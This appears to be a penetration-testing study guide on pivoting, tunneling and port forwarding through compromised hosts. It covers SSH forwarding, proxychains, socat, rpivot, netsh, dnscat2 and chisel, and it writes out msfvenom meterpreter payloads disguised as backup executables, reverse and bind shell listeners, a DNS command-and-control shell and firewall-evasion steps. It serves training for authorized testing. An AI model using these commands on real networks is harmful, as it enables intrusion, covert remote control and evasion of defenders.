Pivoting, Tunneling & Port Forwarding
Terminology
Definitions
So, the difference between the common and confusing terms we'll run into:
Lateral Movement It is the act of moving within the network. Whether it is by exploiting some misconfiguration or whatever.
Port forwarding is simply transferring the data (service) from one port to another. This will make us able to access that specific service from a port of our choosing. It'll come in handy when we get a foothold but can't access a service externally as it is hosted locally only.
Tunneling is encapsulating the data we want to send/receive in another legitimate traffic to hide our payloads/data in transit. This can help us evade detection and alerts.
Pivoting is using compromised hosts to move deeper and cross network boundaries. For example we got a foothold of a machine within the DMZ. Now we can use the second adapter they have to access the internal network that wasn't even exposed to the internet.
NICs
The whole is idea is exploiting the NICs our target has.
ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 4a:8c:db:a0:71:e0 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 177 overruns 0 carrier 0 collisions 0
enp0s31f6: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether c4:ef:bb:88:4b:91 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
device interrupt 19 memory 0x9c300000-9c320000
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8641 bytes 709838 (709.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8641 bytes 709838 (709.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vmnet1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.168.1 netmask 255.255.255.0 broadcast 192.168.168.255
inet6 fe80::250:56ff:fec0:1 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:c0:00:01 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 414 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vmnet8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.27.1 netmask 255.255.255.0 broadcast 192.168.27.255
inet6 fe80::250:56ff:fec0:8 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:c0:00:08 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 420 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vmnet10: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.16.1 netmask 255.255.255.0 broadcast 172.16.16.255
inet6 fe80::250:56ff:fec0:a prefixlen 64 scopeid 0x20<link>
ether 00:50:56:c0:00:0a txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 412 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlp0s20f3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.23 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::7b26:7eec:531c:6fe8 prefixlen 64 scopeid 0x20<link>
ether c4:47:4e:f8:b7:c2 txqueuelen 1000 (Ethernet)
RX packets 48522 bytes 43286033 (43.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 36191 bytes 7787538 (7.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
So as we see here, multiple NICs and each one can grant us access to a network or a part of a network.
These are adapters from my Home Lab, a more reallistic case in an entreprise network would be adapters to physical or logical accesible network. These are VMWare adapters so they are down once the machines are down.
The equivalent in Windows is ipconfig
Routing
Something really important is the routing table. It is a table containing valuable information that the system use to determine which default route the packets will follow depending the target IP. It shows the subnet mask, default gateway and the target range.
$ netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
default 178.62.64.1 0.0.0.0 UG 0 0 0 eth0
10.10.10.0 10.10.14.1 255.255.254.0 UG 0 0 0 tun0
10.10.14.0 0.0.0.0 255.255.254.0 U 0 0 0 tun0
10.106.0.0 0.0.0.0 255.255.240.0 U 0 0 0 eth1
10.129.0.0 10.10.14.1 255.255.0.0 UG 0 0 0 tun0
178.62.64.0 0.0.0.0 255.255.192.0 U 0 0 0 eth0
Local Port Forwarding
SSH Local Port Forwarding
Use Case:
We're aiming at a specific service/port and want that service's data to be redirected to another port. Given that the service is on the local machine, and want to forward it to another port.
It is simply routing a traffic from a port to another.
Let's say the foothold has a MySQL instance running locally on 3306. In other words it has no route to our attack machine which is external to the network. In order to access that db from our attack host, we will need to forward that remote target port 3306 to a port on our attack machine using SSH.
ssh -L 1234:localhost:3306 ubuntu@<target-ip>
Confirming:
netstat -antp | grep 1234
If we want to forward multiple ports at once:
ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@<target-ip>
Now we can do an Nmap scan on localhost:1234 on our attack machine and will get a route to that target database.
Meterpreter Port Forwarding module
Dynamic Port Forwarding
Using SSH and SOCKS tunneling
Setting up the Pivot: A Data Tunnel from Attacker to Internal Network
Use case:
We're aiming to gather information about the internal network, not just a specific port/service.
So now, we want to scan the whole internal network 172.16.5.0-200. Of course our toolkit is installed on our attack host not on the compromised machine. That's why we need to forward our "attacking" port to a remote port on the Ubuntu machine. That's called Dynamic Port Forwarding with SSH.
Step 1: Dynamic Port Forwarding with SSH
ssh -D 9050 ubuntu@<target>
Now if we connect a service to that port, we can access it from the compromised Ubuntu host.
But, we want traffic from nmap and other tools to go through that port not just a service or whatever.
For this we will use a tool called Proxychains, which orders and routes the traffic of the specified tool to go through the IP/port we specify in the config file. This is called Tunneling.
Step 2: SOCKS Tunneling
We need to route the traffic sent from our tools, to the port we just set up using SSH, and encapsulate it through the SOCKS proxy client.
First we need to verify the IP/port on the /etc/proxychains.conf
file. Simply add the following line if it's not already specified:
echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf
Next step is to run our tools.
Step 3: Nmap + Proxychains
It is important to note that we can only perform a full TCP connect scan over proxychains
since it doesn't understand partial packets like half connect scans.
Also, the full TCP scan without Ping on an entire network will take a long time
We can simply run these commands now:
proxychains nmap -v -Pn -sT <target-local-range>
proxychains msfconsole
proxychains xfreerdp /v:<target-local-range> /u:user /p:pass
This technique is called Dynamic Port Forwarding with SSH and SOCKS Tunneling.
Using Meterpreter Port Forwarding Module
Remote/Reverse Port Forwarding
Now the other way around. What if we want a reverse shell from a host within the internal "unreachable" network?
The idea is:
Make a Reverse Shell payload to initiate a connection from the compromised internal host, to the pivot (in the DMZ).
Forward the connection coming from the Reverse Shell port, to the external port of our attacking machine.
So finally the compromised DMZ machine, is really acting as a pivot: It redirects and manages traffic between the attack/defense, Luca Modric Style.
For our case, the reverse shell payload is an Executable crafted with msfvenom
.
Preparing and Transferring the Reverse Shell
msfvenom -p windows/x64/meterpreter/reverse_https lhost=<InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
We can then transfer the output executable to the ubuntu machine using whatever method. for now, we'll use scp
since we have the SSH
credentials:
scp backupscript.exe ubuntu@<publicipAddressofTarget>:~/
And then transfer that executable to the internal windows machine. We'll use a simple python3 server:
python3 -m http.server <port>
Invoke-WebRequest -Uri "http://<internalIPofUbuntu:8123/backupscript.exe" -OutFile "C:\backupscript.exe"
Establishing the connection: Internal network - Attack host
Now, before running our payload which will hit back the Ubuntu's port 8080, we should forward that incoming stream to our listener on our attacking machine on Port 8000.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:8000
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
-vn: Will give us a verbose output
-R: tells the SSH session to reverse forward the traffic
from the internal network on port 8080, to our attacking machine's
port 8000 where the meterpreter listener resides.
We successfully created a way between us and the internal network through our pivot. Working in both ways: To and From our attacking machine.
We should see verbose logs of the connection taking place in the windows where we ran the last SSH
command.
Also, the meterpreter session will state that the connection is coming from 127.0.0.1
which is normal behavior since the traffic is being routed through the local SSH
socket.
Running netstat
will show us that the connection is indeed coming from SSH
.
Socat: Redireting Traffic between two channels
Socat is a bidirectional relay tool that can redirect traffic coming from one channel to the other, without the need of SSH.
Socat -Reverse Shell
Executing the following command on the compromised host will create a route from the target's port 8080 to our <PORT>
.
socat TCP4-LISTEN:8080,fork TCP4:<ATTACKING IP>:<PORT>
So, everything coming from the internal network to the pivot's 8080 will be redirected to our <PORT>
.
In order to get our reverse shell connection back or whatsoever, we need to transfer our payload to the internal host with whatever method above. We can for example use the SSH and SOCKS Tunneling method, execute the payload to hit back on the pivot's <INTERNAL IP>:<8080>
, which will then be redirected to our attacking host.
We can setup the metasploit listener as in:Establishing the connection: Internal network - Attack hostto use the utility of the meterpreter shell.
Socat - Bind Shell
Now instead of listening for an incoming connection from the internal host, we will setup a bind shell listener on target internal host, and redirect our traffic from the attacking host, through socat, up to the internal host listener.
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupjob.exe LPORT=8443
And then run Socat on the pivot:
socat TCP4-LISTEN:8080,fork TCP4:<WINDOWS INTERNAL IP>:8443
This will forward anything from 8080 to the target's 8443.
Now setup metasploit's listener:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 10.129.202.64
RHOST => 10.129.202.64
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 10.129.202.64:8080
Now we can use Socat with both Reverse or Bind Shell and redirect whatever traffic is going to/from the internal network.
Rpivot: Accessing an Internal Web Server
Say we have an internal web server running on an internal host. It is not exposed to the internet and we want to access it from our attacking machine. We'll do that using rpivot
.
Rpivot works with python2.7
, so we'll need that installed.
git clone https://github.com/klsecservices/rpivot.git
The idea is:
Run a server on our attacking machine with
server.py
. Setup two ports for both in/out traffic.
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
Transfer the
rpivot
required files to the pivot.
scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/
Run a
client.py
script from the Pivot host:
python2.7 client.py --server-ip <OUR IP> --server-port 9999
Setup the
proxychains.conf
file to configure the tunnel port:
socks4 127.0.0.1 9050
Now we can run
proxychains
with whatever tool.
proxychains firefox <IP>:<PORT>
Now we have exposed an internal web server and can access it from our attacking machine.
Netsh: Pivoting from a Windows Host
Say we have compromised a Windows host and we need to route the wanted traffic through that machine. That's where netsh
come into play. It's a CLI tool used for network configuration: routing, firewall configurations, proxies and port forwarding rules.
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25
Which can then be verified with:
netsh.exe interface portproxy show v4tov4
Listen on ipv4: Connect to ipv4:
Address Port Address Port
--------------- ---------- --------------- ----------
10.129.15.150 8080 172.16.5.25 3389
The 10.129.15.150
is the "public" IP of the Windows host we've already compromised.
The 172.16.5.25
is the private IP of the internal machine we're targeting.
Traffic will now go from our attacking machine through 10.129.15.150:8080
to 172.16.5.25:3389
.
xfreerdp /v:10.129.15.150:8080 /u:user /p:pass
Now, if we have our hands on a compromised windows host, we can use it as a pivot to access internal assets.
DNScat2: Encrypting our traffic
Dnscat2
is tool that encapsulates the streams of data within TXT
records in the DNS protocol. The communication is encrypted and creates a secure channel.
We setup a
dnscat2
server on our attacking machine:
sudo ruby dnscat2.rb --dns host=<ATTACKING HOST>,port=53,domain=inlanefreight.local --no-cache
<REDACTED>
./dnscat --secret=<SECRET> inlanefreight.local
./dnscat --dns server=x.x.x.x,port=53 --secret=<SECRET>
<REDACTED>
After transferring the client
.ps1
script file to the target windows machine, we run the client to connect back to us:
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver <ATTACK IP> -Domain inlanefreight.local -PreSharedSecret <SECRET> -Exec cmd
We can then execute commands from our attacking host:
New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2>?
<Display available commands.>
dnscat2> window -i 1
<Opens up a CMD shell>
Now we have an encrypted channel between us and whatever target.
Chisel: Creating a two-way tunnel
With chisel, we can setup a client/server connection, to/from the pivot host. Upon connection, we can pivot to the internal network.
Depending on firewall rules or whatever, we can initiate the connection from our machine, or the compromised pivot.
Chisel "forward" Pivot
After building or installing Chisel, we can run the Chisel server on the pivot using:
./chisel server -v -p 1234 --socks5
Now we can connect to the server using:
./chisel client -v <PIVOT's IP>:1234 socks
<REDACTED>
2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234
2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
<REDACTED>
Ensure
proxychains.conf
has the following entry:
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
Connect to an internal target:
proxychains xfreerdp /v:<INTERNAL IP> /u:victor /p:pass@123
With this configuration, we can initiate the connection from our attacking machine and then proceed with our attacks.
Chisel Reverse Pivot
For this set, we will setup the server on our side, and then connect back to it from the pivot.
Run the chisel server locally using
--reverse
flag.
sudo ./chisel server --reverse -v -p 1234 --socks5
Connect back to the server from the compromised pivot:
./chisel client -v <ATTACKING IP>:1234 R:socks
Ensure the
proxychains.conf
file has the current entry:
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
Attack:
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
This method will help us evade basic firewall rules, if any.
Last updated